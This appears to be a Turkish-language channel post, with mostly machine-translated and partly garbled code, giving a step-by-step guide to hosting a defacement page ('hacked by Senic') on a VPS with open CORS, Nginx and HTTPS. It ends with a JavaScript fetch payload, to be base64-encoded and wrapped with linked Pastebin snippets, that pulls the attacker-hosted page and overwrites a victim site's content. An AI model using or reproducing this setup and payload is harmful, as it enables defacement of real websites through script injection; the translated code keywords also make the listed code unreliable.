Не удалось прогрузить медиа
Merhaba LIMB ailesi! Bugün sizlere bir VPS üzerinde basit ama etkili bir HTTP sunucusu kurmayı, CORS ayarlarını yapılandırmayı, bir alan adını bağlamayı ve son olarak fetch komutunu çalıştırmayı göstereceğim.
1. VPS satın alma ve ilk giriş yapma
VPS sağlayıcınızla (Virtualine, Vultr, Linode veya yerel bir şirketle) iletişime geçin.
Ubuntu 22.04 veya 24.04 LTS'yi seçin. En ucuz paket bile (1 CPU, 1 GB RAM) özelliklerini görecektir.
Bir terminal açın ve aşağıdakileri girin:
ssh root@your-vps-ip
İlk yapacağınız şey:
2. Node.js Kurulumuuygun güncelleme
uygun yükseltme -y
HTTP sunucumuz Node.js üzerinde çalışacak. Ubuntu'nun yerel Node deposu çok eski, bu yüzden resmi kaynaktan yükleyelim:
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Kurulumdan sonra kontrol etmek için:
düğüm -v
# v20.xx başlamalı
npm -v
# 10.xx
3. Çalışma dizini oluşturma
Node'u kök dizinde çalıştırın ve yeterli alan olduğundan emin olun:
mkdir -p /var/www/deface
cd /var/www/deface
4. Sunucu kodunu yazın (server.js)
Şimdi bu dizinde server.js adında bir dosya oluşturun:
nano server.js
Bu kodu yapıştırın. Bu kod 8080 portunda dinleme yapar, her isteğe Access-Control-Allow-Origin: * başlığını ekler (CORS için gereklidir) ve index.html dosyasını görüntüler:
Kaydet: CTRL+X, Y, Enter.const http = require('http');
sabit fs = require('fs');
sabit yol = require('yol');
sabit sunucu = http.createServer((req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
if (req.method === 'OPTIONS') {
res.writeHead(204);
res.end();
geri dönmek;
}
let filePath = req.url === '/' ? '/index.html' : req.url;
dosyaYolu = yol.birleştir(__dizinadı, dosyaYolu);
fs.readFile(filePath, (err, data) => {
eğer (hata) {
res.writeHead(404);
res.end('Dosya bulunamadi');
geri dönmek;
}
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
res.end(data);
});
});
sunucu.dinle(8080, '0.0.0.0', () => {
console.log('Sunucu 8080 portunda çalışıyor. CORS açık.');
});
5.index.html
Kendi index dosyanızı yazın; ben örnek olarak index.html dosyamı verdim.nano index.html
Kaydet: CTRL+X, Y, Enter.<!DOCTYPE html>
<html lang="tr">
<başlık>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Yasadışı Platform</title>
<style>
vücut {
kenar boşluğu: 0;
yazı tipi ailesi: Arial, sans-serif;
arka plan rengi: #000; /* Tam siyah arka plan */
renk: #fff; /* Beyaz metin */
metin hizala: ortala;
}
başlık {
background-color: #000; /* Header da siyah */
dolgu: 20 piksel 0;
}
başlık resmi {
maksimum genişlik: %90;
yükseklik: otomatik;
}
ana {
dolgu: 40px 20px;
}
h1 {
yazı tipi boyutu: 2,5rem;
margin-bottom: 10px;
}
h1 .kırmızı {
renk: kırmızı; /* Kırmızı renk için sınıf */
}
P {
yazı tipi boyutu: 1.2rem;
}
altbilgi {
margin-top: 40px;
yazı tipi boyutu: 0,9rem;
}
altbilgi .kırmızı {
renk: kırmızı;
}
</style>
</head>
<body>
<başlık>
<img src=" https://i.hizliresim.com/8967fto.png " alt="Yasadışı Platform Afişi">
</header>
<ana>
<h1>Senic tarafından hacklendi</h1>
<p>Anti Lamer Operasyonu.</p>
</main>
<altbilgi>
&kopyala; <span class="red">illegalplatform.org</span> | Yasadışı Yaşam Adresi.
</footer>
</body>
</html>
6. Sunucunun başlatılması ve test edilmesi
Şimdi /var/www/deface dizininde olduğunuzdan emin olun (şunu yazın
pwd): ve aşağıdaki komutu çalıştırın:node server.js
Terminalde "Sunucu 8080 portunda çalışıyor. CORS etkinleştirildi" mesajını görürseniz, bu herhangi bir sorun olmadığı anlamına gelir. Hemen başka bir SSH oturumu açın veya aynı terminalde CTRL+Z ile arka plana küçültmek yerine bir tarayıcı açın ve http://your-vps-ip:8080 adresini girin . Bu basit sahte sayfa görünürse, sunucu doğru çalışıyor demektir.
7. Sunucuyu arka planda çalışır durumda tutun (PM2)
Sunucu manuel olarak başlatıldığında, SSH oturumu sona erdikten hemen sonra sonlanır. Bunu önlemek için PM2 kullanıyoruz. PM2, arka planda çalışan Node.js uygulamalarını bir işlem yöneticisi olarak destekler.
npm install -g pm2
pm2 start server.js --name deface
8. Nginx'i kurun ve HTTP trafiğini 8080 portuna yönlendirin.
Şu anda sunucumuz 8080 portunda çalışıyor, ancak bu port üzerinden alan adına doğrudan erişimi önlemek ve daha sonra SSL ekleyebilmek için Nginx'i ara sunucu olarak kullanalım.
apt install nginx -y
systemctl start nginx
systemctl enable nginx
Şimdi alan adınız için bir sanal sunucu yapılandırması oluşturun. domain.com'u kendi alan adınızla değiştirin.
nano /etc/nginx/sites-available/domain.com
Bunu içine yerleştirin:
sunucu {
80'i dinleyin;
dinle [::]:80;
sunucu_adı domainin.com www.domainin.com;
konum / {
proxy_pass http://127.0.0.1:8080
proxy_http_sürümü 1.1;
proxy_set_header Yükseltme $http_upgrade;
proxy_set_header Bağlantı 'yükseltme';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
Bu ayar, 80 numaralı porta gelen tüm istekleri doğrudan 8080 numaralı porttaki Node sunucusuna yönlendirir. Kaydedin (CTRL+X, Y, Enter).
Ardından bu siteyi etkinleştirin:
ln -s /etc/nginx/sites-available/domainin.com /etc/nginx/sites-enabled/
rm /etc/nginx/sites-enabled/default
nginx -t
systemctl restart nginx
Şimdi tarayıcınıza http://domain.com adresini girin. Daha önce 8080 portunda gördüğünüz kötü amaçlı sayfa burada da açılmalıdır. Eğer açılırsa, Nginx görevini başarıyla tamamlamıştır.
10. Certbot kullanarak bir SSL sertifikası (HTTPS) edinin.
Eğer alan adınız HTTP kullanıyorsa ve mağdurun sitesi HTTPS kullanıyorsa, yükleme sırasında "karışık içerik" hatası alırsınız. Bu nedenle Let's Encrypt SSL sertifikası eklemek çok önemlidir.
apt install certbot python3-certbot-nginx -y
certbot --nginx -d domainin.com -d www.domainin.com
Ekranda beliren soruları yanıtlayın:
E-posta adresinizi girin.
Kullanım koşullarını kabul edin (A).
E-posta adresinizin diğer kullanıcılar tarafından kullanılmasını istemiyorsanız N'yi seçin.
Certbot, Nginx yapılandırmanıza otomatik olarak SSL ayarlarını ekleyecek ve sunucuyu yeniden başlatacaktır. İşlem tamamlandığında, https://yourdomain.com adresini girdiğinizde , yeşil kilit simgesi bulunan güzel ve sade sayfanız görünecektir.
11. Son Adım: Fetch Payload'ı Hazırlama ve Kullanma
Sunucunuz artık HTTPS üzerinden dış dünyaya açık, CORS başlıkları etkinleştirilmiş ve hacklenebilir sayfanız çalışır durumda olduğuna göre, bu sayfayı kurbanın sitesine enjekte etmek için gereken kodu hazırlamanın zamanı geldi.
(asenkron () => {
var u = " https://alan-adiniz.com/illegalplatform.html/ ";
var r = await fetch(u);
var t = await r.text();
document.documentElement.innerHTML = t;
})();
Bu kodu base64'e dönüştürmek için https://www.base64encode.org/ adresine gidin , yukarıdaki kodu yapıştırın ve kodlayın. Elde edilen uzun metni çıkarın. Ardından, bu Pastebin dosyasındaki kodu base64 kodlu metnin başına yapıştırın: https://pastebin.com/2yYjU3pD Ve sonuna bu Pastebin bağlantısını ekleyin: https://pastebin.com/XHqYT72c
Örnek: https://pastebin.com/8Phbnbbp
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
👍24
🔥4
😁9
😮3
LIMB